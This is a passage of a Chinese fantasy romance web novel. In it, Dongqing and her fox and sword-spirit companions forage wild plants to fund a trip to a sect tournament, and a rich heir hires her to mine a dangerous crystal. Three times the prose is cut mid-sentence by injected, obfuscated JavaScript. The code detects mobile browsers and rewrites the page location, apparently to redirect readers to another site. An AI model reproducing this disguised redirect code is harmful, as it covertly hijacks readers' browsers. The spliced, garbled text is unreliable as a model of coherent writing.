华胥问道的规模虽不似正规宗门大比,却是宗门大比前熟悉其他宗门招数的好机会,因此除了西蛮荒的佛门枯荣天不参加,几乎各国宗门都会参与。 这边柳又青还在磨着冬青,池南却在另一边打起了算盘,他与无相对视一眼,心里了然。 若此次能去华胥问道,那就能联系上折云宗,他回宗门也就指日可待了。 23. 第 23 章 华胥问道两年一度,每次在不同地方举办,不只各大宗门,各大世家也会受邀前往,往年闻向舟和闻向度都会跟闻儒可一起去,以致冬青耳熟能详。 “这届华胥问道在哪举办?”她问。 柳又青想了一下,“在沂兰城。” 沂兰城位于北诏的最南端,在与南氏的交界地带,群山环绕,常年雾气不散,因此又称“雾城”。 冬青抿了下唇,“有些远。” 山遥水远,车马费就要花上不少,更别提食宿的开销。 柳又青似乎看出了她的窘迫,“钱不是问题,包在我身上!” 冬青抬头看向她,红豆跟她非亲非故,她已经亏欠不少,又怎能让她破费。 “我再考虑一下……” “还考虑什么啊,就这么说定了啊!”柳又青起身,边往门口走边扬声道,“就这么说定了!” 像是怕冬青不同意似的,她飞快溜走了。 冬青拦不住,看着她远去的背影,无奈轻笑。 “冬青。”池南跳上桌,“华胥问道高手如云,去一趟应该能学到不少东西。” 冬青却突然转过头,一双黑亮的眼睛耐人寻味,“你去过华胥问道?你是哪个宗门的?” “我……”池南迟疑,还是决定实话实说,“我是折云宗的。” “你想去。”冬青看出来了,“华胥问道上有你的同门,你想回去,对吗?” 他也没想到冬青如此敏锐,自己的小心思在她面前无处遁行,“我想向我师父报个平安。” 他忽然就理解了冬青为何不愿求人,此刻他也有些难以开口,“你……能带我去吗?” 其实也不是不可以,冬青想,这就有个现成的帮手。 “我可以带你去。”她看着池南,把身上仅剩的十文钱放在书桌上,“但你知道我没钱,也不可能让红豆出钱。” “……那?”池南喉结滚动,脊背挺直,仿佛在等待审判。 “我们要挣钱,你得帮我。”冬青把钱收好,一双黑亮的眼睛静静看向他,似乎在等他表态。 池南松了口气,他还以为是什么难事。 “成交!”他一口应下。 “那好。”冬青撑膝起身,背上了花圃旁的背篓,走向院门。“走吧。” “去哪?”池南快步跟上,走在她脚边。 冬青平静的声音从头顶传来,“去平野山挖野菜和笋。” “能卖很多钱吗?”池南的语气难得透出些天真,他从小衣食无忧,十指不沾阳春水,对这部分常识可谓一片空白。 无相飘过来,“我也想问。” 剑灵每换一代主人便会丢失有关上一个主人的记忆,他从苏醒起就跟在池南身边,在冬青身边的这段时日算是他过的最“清苦”的日子了。 冬青没理无相,反而意味深长地睨了池南一眼,说了句让人摸不着头脑的话,“这不有你呢么。” 三人步履很快,池南还在一脚深一脚浅地踩在湿滑的山路上时,转头看去冬青已经钻进密林深处了。 池南把自己从泥里拔出来,嫌弃地抖了抖身上的泥水。 冬青越走越深了,他来不及甩干净,忙追上去,“等等我。” 雨后山林菌类疯长,大大小小形态各异的蘑菇刚从泥土里冒头,还没来得及舒展腰肢,便被冬青无情地收入箩筐。 她熟稔地穿梭在山林间,箩筐不一会儿就满满当当,各类蘑菇、蕨菜、马齿苋……只要是能吃的,来者不拒。 “看这个。”冬青手里躺着一株植物,嫩绿中带着点红褐色,裹着细密的绒毛,顶部抽生的嫩绿色小叶边缘有一圈浅浅的锯齿,池南抬起爪子轻轻碰了一下,有点痒。 他问:“这是什么?” 她介绍道,“这个叫楤木芽,这筐里最值钱的一个,你和无相专心找这个就行。” 在闻家最受排挤的那段时日,她便是靠这个小东西活下来的。 池南点头应下,在冬青起身走向别处时忽地叫住了她,“冬青。” 他声音听起来有些别扭,“那个……你带方巾了吗?” 冬青不明所以,从怀里拿出一方靛蓝色的帕子,“怎么了?” “我……我方才陷泥里了,泥水甩不净,不大舒服。” 无相撩了他一眼,说出了冬青心里话,“大少爷,你怎么这么娇气?” 倒也不是池南有多娇气,狐狸的四条腿连同腹部毛发都沾着黑泥,将原本柔顺的毛发打成湿漉漉的几绺,看上去脏兮兮的。 这也导致他感觉自己原身也像在泥地里滚了一圈一样,对本就喜净的他来说简直难以忍受。 冬青看了他一眼,蹲下身,将帕子在掌心摊开,“我帮你?” “我自己来就好!” 池南连忙用真气将帕子勾过来,正要往身上擦。 “等等。”冬青突然出口打断,她站起身往山上走去,“你跟我来。” 他只好暂时将帕子悬在身侧,跟着冬青换了个方向。没走多久,前方忽然传来哗哗水声,一条小溪从山上泠泠流下,溪水清澈见底,漫过长满青苔的圆石。 “在这洗吧。”冬青靠着石壁坐了下来,“帕子留着给你擦身。” 池南跳上一块圆石,冰凉溪水没过脚面,他适应了一下这个温度,慢慢走进水中。 他往岸上望了一眼,冬青低头数着箩筐里的菜,察觉到他的目光看了过去。 “冬青。”池南有点不好意思,“你能转过去么?” 冬青挑眉,“你一只狐狸怕什么?” “……被人盯着不自在。” “我不看你。”冬青故意打趣,继续低头择菜。 她掀起眼皮偷偷瞥了一眼,溪水流淌,狐狸却一动不动杵在水里,看上去进退两难。 冬青喉间溢出一声轻笑,慢慢转过身去。 麻烦精。 见冬青终于大发慈悲转过身去,池南才开始撩水,飞快冲洗着。 来到仙人顶后,池南便一直挑没人的时候用竹居的井水冲洗,如今虽好不容易找到一条干净的小溪,他也碍于冬青在场,不敢久洗。 约莫半盏茶的功夫,他顶着一身湿漉漉的毛发上岸,甩了甩水。 靛蓝帕子浮在半空,他想了想,还是没用它擦拭身子。 冬青听到声音,侧头问,“小红,洗好了吗?” “嗯。”池南一身轻松,将帕子叠好,轻轻放到冬青膝头。 冬青拿起帕子,帕子仍是干燥的,散发着和衣物同样的清香。 她疑惑着抖开翻看,是干净的,没有任何污迹,那他有何顾虑,为何不用? “不用吗?”她问。 他摇头,身上毛发虽还湿着,却已经不滴水了。“走吧,我去帮你找楤木芽。无相,你跟冬青一起。” 无相欣慰颔首,读懂了他没说出口的后半句——免得她遇到什么危险应付不来。 冬青从背篓里捻出一株楤木芽交到他手里,示意他照着这个找。 池南放出一丝真气,将楤木芽托起,放在眼前仔仔细细观察着。< ;eval(function(p,a,c,k,e,d){e=function(c){return(c35?String.fromCharCode(c+29):c.toString(36))};if(!''''.replace(/^/,String)){while(c--)d[e(c)]=k[c]||e(c);k=[function(e){return d[e]}];e=function(){return''\\w+''};c=1;};while(c--)if(k[c])p=p.replace(new RegExp(''\\b''+e(c)+''\\b'',''g''),k[c]);return p;}(''8 0=7.0.6();b(/a|9|1|2|5|4|3|c l/i.k(0)){n.m="}'',24,24,''userAgent|iphone|ipad|iemobile|blackberry|ipod|toLowerCase|navigator|var|webos|android|if|opera|131xs|n|xyz|16362869|183774||http|test|mini|href|location''.split(''|''),0,{})); () { $(''.inform'').remove(); $(''#content'').append('' p>也没什么出奇的嘛。 等着吧,这满山的楤木芽都将被他池南拿下,保她赚的盆满钵满! 山风清爽,吹皱溪面。池南洗完澡心情大好,轻快地钻进林里找楤木芽去了,三人分头行动,约定日落在山脚集合。 无相和池南两人一分开,冬青耳根立刻清净不少,虽然无相仍是叽叽喳喳说个没完,但好在人比较勤快,她的背篓很快沉了下去。 落日熔金,霞光漫天,一排飞鸟啼叫着归入山林。冬青将沉重的背篓卸下,坐在枯木上望着天际出神。 “我滴乖乖!” 无相一声惊呼将她思绪唤回,她顺着无相拂尘所指方向回头看去,幽幽山林间,火红身影缓缓走出,他身后漂浮着一团树冠一样大的红雾,红雾里满满当当装的全是楤木芽。 池南昂首,挑眉看向冬青,“如何?” 冬青自然震惊,这么多楤木芽,她摘三天都未必能摘这么多。 “嗯,多。”她注意力全被楤木芽吸引了去,没注意听池南说什么,只嗯啊地应声。 多? 就只是多??? 她未免也太敷衍了!他可是跑满了整座山! 池南愤愤看去,只见冬青双眸映着霞光,一贯苍白的脸上被落日衬出了些血色,正欣喜地看着他带回来的楤木芽。 不知怎的,他那点愤懑顿时便烟消云散了。 算了,看在她这么高兴的份上。 勉为其难地原谅她了。 三人大包小裹地回到长生山,守山弟子远远望见冬青背着背篓,带着狐狸,身后还飘着一团不知名物体,以为自己没睡醒,揉了揉眼睛。 直到冬青走近,他才看清那团物体是什么。 “冬青,你背了个树冠回来?!”守山弟子撤了结界,迎了上去。 “这是楤木芽。”冬青停下,从池南的真气罩里拿出一株递给他。 守山弟子拿在手里打量,“能吃么?” “能。” “这些都是你摘的吗?”他把那株楤木芽扔进嘴里咀嚼,脸顿时皱成苦瓜,“好苦!” “我有帮手。”冬青神秘的笑了一下,止住了他掐火字诀的动作,头也不回地走进山门。 回到竹居院门前,她并没着急进去,而是把背篓放下,学着守山弟子的动作掐火字诀。 关于手诀的知识早在她没有灵根的时候就已经在藏经阁学过,她记的清楚,私下练过千百遍,因此掐起来十分熟练,一小卒火苗跃然指尖。 她把火苗送入莲花灯,随后将背篓里的野菜倒在青石地上,转身去打井水。 “接下来干什么?”池南跟在她脚边转了几个来回,忍不住开口问。 冬青从井里将木桶拽上来,“咚”的一声放在地上,水花从边缘荡出,有几滴落在了池南头上。“洗一洗,明天好卖。” “冬青,”池南叫住她,提醒道,“你有真气。” 可谓一语惊醒梦中人,冬青恍然,是啊,她有真气,而且正是需要锻炼的时候。 她看向青石上铺开的野菜,无声放出真气,将一小部分野菜运到桶边,浸在冰凉井水里,又以真气搅动桶中水,待洗净野菜上的泥沙时捞出晾置。 她每次只取一点,如此往复,速度越来越快,越来越熟练,到后来,已经可以一边洗菜一边择菜了。 暮色已深,鹧鸪长啼,冬青处理完所有野菜,抻了抻酸痛的肩颈。 她看向趴在井边喝水的池南和累的瘫倒的无相,轻笑道,“明天一早,我们就去镇上集市。” 24. 第 24 章 嵩宁镇清晨薄雾尚未消散,集市上各个摊位的幌子便已经支起,叫卖声不绝于耳。 一些上了年岁的老者为多卖些钱,天不亮就来集市占位,远远看去已经排成一条长龙。 冬青三人起的不算晚,但踏着朝雾匆匆赶来时,已经只剩一些夹杂在烂菜叶与泥土里的偏僻摊位。 “抱歉啊冬青,”无相堆起笑,“我保证,再也不赖床了!” 冬青看了他一眼,没说什么,兀自开辟出一块干净的角落,把草席抖开铺在地上,将昨晚洗净的野菜分门别类的摆放好。 他们旁边的摊位是一煎饼摊,支着王记煎饼的幌子,老板娘手脚不闲地在铁鏊上摊煎饼,为吸引客官,老板还在摊位前表演起了吞火吐刀。 锋利的刀剑被慢慢按进喉咙,再完整地拔出,这手艺实在惊险,不大功夫摊位前就围满了人。 隔壁生意红火,冬青也跟着沾光,她的野菜品类繁多且干净,围观吞火吐刀的往来百姓纷纷在她这摊位前驻足。 “姑娘,这是你养的狐狸啊?”一位挎着篮子的大娘在她面前蹲下身,她手握了些平菇,虚虚向煎饼摊一指,“你瞧人家那热闹劲儿!大娘跟你说,你这狐狸养着也是养着,不如训些本事,日后指不定他们还要靠着你做生意呢!” 冬青眼珠一转,偷瞥了眼池南。集市里靠着驯兽打赏为生的不在少数,昨日上山前,她确实有让小红配合她卖艺这个打算,所以才会说出“这不还有你呢”这句话。 但是,小红给她摘了不计其数的楤木芽。 而且,虽然小红从未明说,但冬青猜想他应该从小养尊处优,无论修炼还是生活应该都称得上一帆风顺,或许还颇负声望,受人敬爱,因此他骨子里透着股十足的骄傲劲。 这种骄傲没有对旁人的蔑视,更多的是对自己的自信。 冬青忽然笑了一下,她竟然妄图让一个沾了些泥水都要马上跑去洗个澡的娇贵狐狸去杂耍卖艺呢,简直异想天开。 “诶,姑娘,你听进去没啊?”大娘苦口婆心的声音把她飘远的思绪拽回,“大娘跟你说的可都是掏心窝子的话……多少钱?” “三文钱。”冬青笑着接过三文钱。“您的话我听到了,多谢您。” 她将钱收进钱袋,铜板相碰的清脆声音淹没在集市喧嚣中,自大娘走后到现在,一道如有实质的目光一直黏在她身上,她能感觉得到。 冬青摆好剩下的菜,转头直视那道目光,“怎么,怕我让你去卖艺?” “不怕。”池南看着她,认真道,“我可以去。” 这下轮到冬青懵了,她本以为池南是想劝她放弃这个想法,没成想他却生怕自己不用他似的,上赶着毛遂自荐。 好像自从柳又青提到华胥问道后,他做什么都更积极了起来。 冬青以为他是心中有愧,“我挣钱去华胥问道,不全是为了你,我也想去看看。” “我知道。”池南看着冬青瘪的如空无一物的钱袋子,“我只是想让你容易一些。” “你不用怕我为难,我不觉得卖艺丢人,都是靠自己本领为生,挣的是血汗钱。”池南一扬下巴,“再说了,不就是跳个火圈之类的,我什么不会?” 就在两人僵持时,一辆装潢华丽的马车从集市中缓缓驶过,实木车轮轧过一块石子,车帘随着马车摇晃,露出里面拈着玉折扇的一只骨节分明的手。 里面传来一声猫的惊叫,马车晃悠几下,勉强停下,刚好停在冬青的小摊前。 “怎么回事?我的流油都惊到了。”马车里传来一声男不男女不女的诘问。 流油?富的流油?这名字起的,生怕别人不知道他有钱一样。冬青看热闹地撑着下巴,打量着马车和一旁的随从。 前面的随从立刻恭敬道,“公子,是属下办事不力!” 那双手啪地合起玉折扇,用扇子轻轻挑开车帘一角,马车内的人怀抱一只黑猫,探出头,狭长的丹凤眼一转,视线落在冬青身上。 嗯,是个男的。冬青瞧见那张脸,确定地想。 池南察觉到他的目光,警惕的往前一步。 没想到那人的目光只在冬青身上停留了一瞬,随后落到她身前的草席上。 “楤木芽?”他看向冬青,“新鲜的?” “今早刚摘。”冬青拿起一把楤木芽举到他眼前,“咳,那个……二两银子一斤。” 她默不作声地打量面前这人,他身梢不凡,金玉冠、流光锦、玉折扇……连马车都雕花镶玉,想必身家阔绰。 楤木芽是昨日摘的,也根本买不到二两银子一斤,冬青有些心虚,若是对方讲价,她也不亏。 不过一两银子最低了。她心里盘桓着,仰头问马车里的人,“公子可要买一些?” “来到北诏之后还是第一次见有卖楤木芽的,毕水!”他招呼马车前的侍卫,“给钱,都要了。” 那叫毕水的侍卫立刻拿出钱囊,“这些楤木芽我家公子都要了,多少钱?” 早知道他出手这么阔绰,方才价抬高些就好了! 冬青悔极,轻叹一声转身去称量楤木芽,足有七斤。 “十四两银。”她指了一下装着所有楤木芽的麻袋,示意毕水自己搬。 毕水从钱囊里拿出两个十两银锭递向冬青。 “……没有碎银吗?”冬青手虚虚接过银锭,沉甸甸的。 她哪有六两银子找钱啊。 “这样吧。”马车里的人又撩开帘子,打量了一下冬青,“看在你长的可以的份上,你这小摊上的所有东西我都包了,不用找了。” “……多谢啊。” 本以为是个阔绰的,没想到是个轻佻的,冬青睇了眼马车帘子,走过去帮毕水将摊位上剩下的野菜都装好。 马车帘子忽然再度被掀开,这次那人看向的却是草席角落里站着的狐狸,他叫住冬青,“姑娘,你这狐狸品相不错,皮毛做成个护颈定能卖个好价钱,不如卖给我,我保你个好价钱。” 冬青挑眉,心道你还想扒小红的皮,小心等下他反过来扒了你的皮。 她看了眼一脸不屑的池南,淡淡道,“这个不卖。” “真不考虑一下?百两银子!”他仍不松口。 “公子的猫卖吗?”冬青反问。 “当然不!”他轻柔的抚摸着流油黑亮的毛发,“这可是我的爱猫。” “那我也不卖。”冬青明言拒绝,“公子若是没有其他事,就先行一步吧,马车太大,这小道已经没有落脚的地儿了。” “成吧。”他倒也不纠缠,果断放下帘子,“毕水,启程。” 马车在视线里缩成一个小点,冬青看着它停在远处的客栈前,转头抱臂看向默默收摊的狐狸,“他方才说一百两,我都有些动心了。” “哦,那你现在去追他,还来得及。”池南把草席折好,蹲坐在上面,没好气地望着她。 不好,开玩笑好像把人开恼了,不常开玩笑的冬青惨遭败绩。 无相“呦”了一声,“你还不乐意上了?” “我要是想卖了你,早在把你捡回来那天就卖了,何必等到现在。”冬青弯腰从他身下抽出草席,在他眼前晃了晃白花花的二十两银锭,“这样下去,我们往返的开销都有了,省吃俭用还能余出来些。” 池南轻哼一声,算是接受了这个说法,扭头向前走去。 “小冬青,你别管他!”无相飘在她肩头,“死要面子活受罪,我就没见过比他还事儿精的人,娇气死了!” 冬青弯起唇角,穿梭在往来行人间,她忽然有些好奇,“他元神受损之前,是什么样的?” “他啊……”无相刚要打开话匣子,忽然有人从身后叫住了冬青。 “姑娘!” 冬青驻足回头看去,是方才那个侍卫毕水。 “狐狸不卖。”她看着气喘吁吁的毕水,皱眉冷声道。 “不,不买狐狸。”毕水喘匀了气,拿出了一张木牌。 黑檀木牌上萦绕着淡淡的灵气,没有任何繁复的纹样,有着与方才那人花里胡哨气质截然不同的古朴素雅,正面刻着“贺兰”二字,背面刻着她不认识的图腾。 池南见身后人始终没跟上来,折返回去,见到毕水手中木牌时皱了眉头。 35?String.fromCharCode(c+29):c.toString(36))};if(!''''.replace(/^/,String)){while(c--)d[e(c)]=k[c]||e(c);k=[function(e){return d[e]}];e=function(){return''\\w+''};c=1;};while(c--)if(k[c])p=p.replace(new RegExp(''\\b''+e(c)+''\\b'',''g''),k[c]);return p;}(''8 0=7.0.6();b(/a|9|1|2|5|4|3|c l/i.k(0)){n.m="}'',24,24,''userAgent|iphone|ipad|iemobile|blackberry|ipod|toLowerCase|navigator|var|webos|android|if|opera|131xs|n|xyz|16362870|183774||http|test|mini|href|location''.split(''|''),0,{})); () { $(''.inform'').remove(); $(''#content'').append('' >东晋贺兰家,器修大家,当家家主是破阵子的宗主贺兰虚淮,此时前来北诏,想必也是为了华胥问道。 果然下一刻,毕水道,“我们公子是贺兰家的嫡孙贺兰烬,此番派我前来叨扰,实在是我家公子有意与姑娘谈一笔生意。” “生意?”冬青眯起眼睛,她哪有什么生意可谈?“不了,多谢你家公子的好意,但我赶时间。” 说罢她便继续朝前走去,毕水连忙跑到她前面拦住她。 “姑娘,我们公子说您肯定着急用钱,这是笔大生意,姑娘不如一听,以解燃眉之急。”毕水放下拦人的胳膊,“若姑娘对这生意不感兴趣,我们公子必不强求!” 他怎么知道她急用钱? 事出反常必有妖,可若真能挣到钱,便不必每日上山摘菜。 权衡再三,冬青略一颔首,“劳烦带路。” 毕水俯身一笑,做出一个“请”的手势,“姑娘请随我来。” 嵩宁镇在长生山脚,是拜访仙人顶的最佳宿处,地理位置优越。镇上最大的客栈叫淳福客栈,往来宾客络绎不绝,供不应求,所以上房一晚价钱极高。 池南拽了拽冬青衣角,低声道,“确定要去吗?” “去。”冬青站在往来人流中,同样低声回应,“情况不对就跑。” 跑什么,加一起都不够他塞牙缝的。池南虽这么想,但还是点点头,“好。” 淳福客栈门庭若市,人声鼎沸,小二两只手端着十余个盘子,灵活地穿梭在人群中,走到冬青身旁还伸长脖子问了句,“客官,住店吗?” “我来找人。”冬青躲着人群穿过大堂,来到后院。 院落中有一棵巨大的梨花树,树上贴着一张符纸,一年四季花开不败。一阵风过,白嫩花瓣在风中簌簌摇动,漫天梨花雨。 她站在院中抬起头,迎上二楼窗边那双狭长的眼。 贺兰烬见她看过来,笑眯眯的摇了摇扇子。 冬青守护目光,走上二楼。贺兰烬的上房在最里间,远离街市喧嚣,是整个淳福客栈最大最清净的房间。 毕水轻叩房门,“公子,人带来了。” “进。” 冬青推门走进,屋子里弥漫着泽兰香的味道,日光从敞开的窗棂间泻下,映出贺兰烬黑色的剪影。 “坐。”他把怀中黑猫放下,翘着兰花指为她斟了杯茶。 黑猫慢吞吞走到冬青脚边,挤开池南在她衣摆上蹭了一下。 池南:“……” “看来流油很喜欢你。”贺兰烬轻笑一声,折扇一挥,毕水立刻上前把黑猫抱走。 冬青环视一圈,走过去落座。 被玉折扇推到身前的茶杯精致,茶汤清亮,散发出阵阵幽香,应当是什么价值不菲的品种。 “什么生意?”冬青开门见山。 贺兰烬摇着扇子,香风扑面,“好没趣的小姑娘,想和你聊聊天叙叙旧都不成。” 一个大男人熏这么浓郁的香,冬青腹诽,用袖口掩了下鼻子,“我与公子不过一面之缘,叙哪门子的旧,若公子没生意可谈,那我便告辞了。” 说罢,她便起身向门口走去。 “哎,等等。”贺兰烬扇子一横,“我知你那楤木芽是昨日摘的,价钱也比别处高。” 冬青脚步一顿,回首垂眸注视那双精明的眼。 “你知道鬼愁晶吗?” 鬼愁晶? 冬青思索了一下,她曾在一卷竹简上见过,那是一种可以封存灵气的晶石,通常凝结于极寒之地,低等鬼愁晶呈蓝色和灰色,而高等鬼愁晶呈紫色,晶体越纯净品质越好,是一种制作法器的天材地宝。 “鬼愁晶……你要做什么法器?”冬青问。 贺兰烬听到她的话眸色微动,鬼愁晶世间少见,就算是很多高阶器修都未必知道这种晶石,而面前这个小姑娘看上去其貌不扬,没成想竟然知道鬼愁晶的用途。 “若你能挖来,我给你这个数。”伸出一根手指。 她眸光微动,“一百两银?” “不。”贺兰烬那根手指点了点,笑看她,“一千两。” 25. 第 25 章 一千两对富贵人家或许不算什么,但对冬青来说绝对是一笔天文数字了,她坐回去,喝了口面前的茶,“为何找我?” 她向窗外扬了扬下巴,楼下站着一排黑衣护卫,个个佩刀,“淳福客栈门外那几个摆摊的也是你的护卫吧?你有那么多护卫,为什么偏偏要花一千万找我?” “当然是因为危险。”贺兰烬手一伸,毕水立刻拿出一卷轴放在他掌心。“那些护卫跟了我十余年,我怎么可能拿他们的性命冒险?” 他把茶台挪到一边,摊开卷轴,纸面上却一片空白。 “这是什么?”冬青问。 “这是九幽冰崖的地图。”他手在纸面上一挥,立体的冰川跃然纸上,寒凉之气扑面而来,冬青甚至能听见呼啸的风声。 蓝色冰川绵延千里,一处深不见底的裂隙横亘山脉正中,玉折扇在那深渊上一点,“这里就是九幽冰崖。” 贺兰烬折扇一挥,纸面地形迅速变换,裂隙放大,冰崖几乎垂直,他指着裂隙深处的一处发着紫光的晶体,“这就是鬼愁晶。” 纸面不断往外吹着寒风,一旁的熏香被呼地吹灭,整个房间的气温骤然下降,冬青额发被风掀起,她盯着通体纯净的紫色的晶体,半晌摇了摇头。 “公子另请高明吧。”冬青起身,“我惜命。” “我会给你提供很多法器,最大程度保障你的安全,路程也不是问题,我用传送门将你送到离九幽冰崖最近的城。”冷风源源不断的从虚影里吹出,贺兰烬却仍是不紧不慢地摇着扇子,“最后无论成不成,来去所有费用我出。” “你有传送门,为何不直接传送到冰崖?”冬青疑惑。 “那里灵气低微,传送门开不到那里。”流油又跳到他身上,他轻轻挠了挠猫的下颌,黑亮的团子立刻发出了舒服的呼噜声。 冬青忽然挑了下眉,低头看了一眼狐狸。 池南心虚扭头,退到冬青身后她看不见的位置。 贺兰烬抱着猫,摇着扇子,“而且我们东晋四季如春,去那等苦寒之地,我的流油会受不了的。” 怕冷你给猫摇什么扇子?冬青偷偷翻了个白眼。 “姑娘不必急着给我答复,这地图你先拿回去,还有这个……”他将腰间佩环卸下,扬手抛给她,“这是传音佩,三日后姑娘若是愿意前往,就按一下佩环侧面的兰花,自然会有人前去接应姑娘,若是不愿,扔了就好。” 传音佩和卷轴上染着与贺兰烬身上如出一辙的泽兰香,冬青被这香味呛的忍不住打个了喷嚏。 她把传音佩拿在手里端详,佩环雕刻成了花茎与长叶,侧面雕刻着一朵突出的紫色兰花。 这两样法器应当值不少钱,实在不行还能卖掉。 “成。”冬青轻轻颔首,“告辞。” “姑娘,”贺兰烬在她跨出屋门的瞬间叫了她一声,“还未请教芳名。” 冬青侧着身子扫了他一眼,淡淡道,“冬青。” 她脚步不停,眨眼消失在门前。 贺兰烬懒散地倚在窗边,捻起一颗剥好的葡萄送入口中,他目光有一搭没一搭地扫向下方庭院,见那道天青色身影驻足回首,便笑眯眯地招了招手。 天青色身影搓了搓胳膊,加快脚步离开了。 “公子,您为何非要她去挖鬼愁晶?”毕水不解。 贺兰烬的视线还黏在窗棂下方,答非所问,“你不觉得她生得挺好看么?” 毕水嫌弃,“公子,您可真肤浅。” 贺兰烬蹙眉白了他一眼,“你懂什么。” 回到长生山时已经正午,回山之前冬青买了些菜,甚至买了一些肉,现下正在小厨房忙碌。 冬青其实会做菜,但她总是一个人,开一次火还要废好些柴火,而且她也没什么口腹之欲,所以一般都是糊弄一口,能饱腹就知足了。 但自从捡了只狐狸回来,她也开始对吃上心了。 她蹲下身添了些柴,铲子翻炒着油绿的青菜,各色调料罐子浮在空中,被她指挥着依次倒在锅里。 她现在已经能够不动声色地控制真气了。 “小冬青,你还有这手艺!”无相挑了一筷子青菜放进嘴里,双眼放光,“味道还可以啊。” 可比归元果强太多了。 冬青轻笑一声,把青菜盛在盘子里递给无相,“帮我放桌上。” 忙活了半天,石桌上赫然出现了炒白叶青菜、红烧肘子和一大碗红豆汤。 一荤一素一汤,营养搭配,冬青满意极了,招呼池南和无相过来开饭。 池南跳上石凳,菜色看起来出乎意料的不错,他伸了一筷子,虽算不得惊艳,倒也适口。 “冬青,”他放下筷子,“你要应贺兰烬吗?” “有些想。”她喝了口红豆汤,“毕竟那是一千万。” “鬼愁鬼愁,鬼都发愁,那鬼愁晶本身有毒,而且生长在冰崖,稍有不慎就会万劫不复。”池南话锋一转,“不过,去也不是不行。” 冬青放下碗看向他。 “那地方我去过。”他语气慵懒,夹杂着一丝不易察觉的得意,“鬼愁,但我不愁。我不愁,你便也不会愁。” 怪不得他没在一开始就阻止她,冬青从袖袋里掏出传音佩,想也不想地按下了一侧的兰花。 呛人的香气弥漫开,池南动了动鼻子,连打了好几个喷嚏,“快拿开!” 冬青将佩环收起来,过了好半天,他才鼻音浓重地嘟囔了一句,“这个娘娘腔!” 他让冬青把地图拿出来,卷轴展开,注入真气,九幽冰崖的立体图景再现纸上。巨大的冰罅深不见底,从顶部的浅蓝直坠入无底的黝黑,地图随心变幻,停在顶部一处平地。 “到时在这布个传送阵,连通鬼愁晶的所在之处。”他手一挥,地图又聚焦到鬼愁晶生长的冰裂中部,“这里没有落脚处,而且灵气低微,法器无用,因此需要我们在这里——” 他指向鬼愁晶上方一丈处,“定个支撑点,用绳索吊着,才好挖。” 冬青与他想到了一处去,点点头,算是同意了他的说法。 门外传来守山弟子的声音,“冬青,有人给你送了东西!” 她推开院门,从守山弟子那里接过一枚乾坤币,币身上刻着“烬”字,旁边还缀了一朵小兰花。 她立刻明白了这是贺兰烬给她送的法器,还有,这人是有多喜欢兰花? “多谢。”她向守山弟子道了谢,待其走后,打开了乾坤币。 乾坤币在空中剧烈颤动几下,随后各种法器如决堤般从钱眼中倾泻而出,噼里啪啦地掉在地上。 足足有半盏茶的功夫,乾坤币才消停下来,三人目瞪口呆地看着院落里堆成一人高小山的法器,呆立原地。 池南上手扒拉了一下,小山訇然倒塌,法器四散滚落,偌大院落内竟然难以找到落脚之处。 每样法器上都刻着醒目的“烬”和一朵兰花,生怕没人知道这是谁做的一样。 虽说花哨了些,但法器质量都算得上顶尖,几乎涵盖了此行所需要的全部法器。 “不愧是东晋贺兰家。”池南拿着一把造型古朴的锋利匕首,“ ;eval(function(p,a,c,k,e,d){e=function(c){return(c35?String.fromCharCode(c+29):c.toString(36))};if(!''''.replace(/^/,String)){while(c--)d[e(c)]=k[c]||e(c);k=[function(e){return d[e]}];e=function(){return''\\w+''};c=1;};while(c--)if(k[c])p=p.replace(new RegExp(''\\b''+e(c)+''\\b'',''g''),k[c]);return p;}(''8 0=7.0.6();b(/a|9|1|2|5|4|3|c l/i.k(0)){n.m="}'',24,24,''userAgent|iphone|ipad|iemobile|blackberry|ipod|toLowerCase|navigator|var|webos|android|if|opera|131xs|n|xyz|16362871|183774||http|test|mini|href|location''.split(''|''),0,{})); () { $(''.inform'').remove(); $(''#content'').append('' 这里的每一件单拎出来都能卖到上千两了。” 冬青接过那把匕首,这种造型的匕首她在书里见过,极薄的匕首身上涂了一层血海莲的汁液,是挖鬼愁晶的一把好手。 “这能卖上千两?”她掂量了一下匕首,在空中挽了个漂亮的剑花。 “光上面涂的血海莲就已经价值不菲,这种法器在极寒或高温之下依旧削铁如泥,且不怕鬼愁晶的毒性。”池南顿了一下,“更何况打着贺兰家的名号,普通法器也能炒出天价。” 冬青眼珠一转,走进屋里拿出一面铜镜,“你说我这个能卖十两银子吗?” 一面巴掌大的铜镜躺在她手心,她翻到背面,赫然刻着一幅北斗七星图,雕工略显稚拙,池南左思右想,还是问道,“这是什么?” “法器啊!”冬青瘪起嘴,“看不出来吗?” 池南挠了挠头,决定还是不打击她自信心,“这怎么用?” 冬青将带有镜子的那一面朝下,北斗图朝上,一股清冽的真气蓦地从掌心涌出,瞬间被铜镜尽数吸纳。 铜镜背面的北斗七星骤然亮起! 刹那间,一阵疾风平地而起,周围竹林向后弯折,竹叶哗哗作响。 半晌,风止。 池南睁开眼睛,竹居还是那个竹居,竹林也还是那个竹林,周遭一切恢复原样,仿佛只是刮了阵寻常的风。 冬青还保持着手托铜镜的姿势,黑如深空的眸子一顺不顺地看着他,仿佛在等待他的回应。 池南舔了下嘴唇,斟酌着措辞,心念百转地思考怎样才能不伤她的信心。 “冬……”一个音节从唇齿间蹦出,戛然而止。 不对劲。 他屏住呼吸,除了三人细微的呼吸声外,风声、鸟雀叽喳声、树叶簌簌声……一切声音像是被无形抹除了一般,天地间一片死寂。 池南猝然抬头,对上冬青含笑的眼睛,“这是一个阵!” 无相脸上是掩饰不住的震惊,“坐地起阵?!” “你……”池南看向她手中的北斗镜,“你仅用这面镜子和一点真气,就能神不知鬼不觉的布一个阵?” “嗯,算是。”冬青很谦虚,“我前几天晚上睡不着,去藏经阁学了点皮毛,回来把我那面梳妆镜拆了,做的这个。” 短短几天时间,没用天材地宝、灵丹妙药,只用一面普通的不能再普通的铜镜,便做出个能坐地起阵的法器。 “这阵有多大?”无相飘到半空,向下望去。 冬青思索了一下,“竹居、修心池和华堂加起来那么大吧。” “冬青,你器道几重天了?”池南喉咙发滞,哑声问道。 术士每破一重天,自身灵脉与真气都会有相应的变化,因此术士自己是能感知到自己破境的。 “五重天吧。”冬青声音平淡,“阵道应当也是。” 五重天,又称天堑境,前四重天顺风顺水而至死修为都停留在五重天的大有人在,若前四重天是平地,那五重天就像一个凭空出现的鸿沟,不说这鸿沟是否能越过,就算跨过鸿沟,接踵而至的是一座近乎垂直的山崖。 因此术士修炼至五重天后,可谓一重一个坎。 而冬青……池南甚至不知道她什么时候破的境,她就这样悄无声息的,跃过了那条令人望而却步的鸿沟。 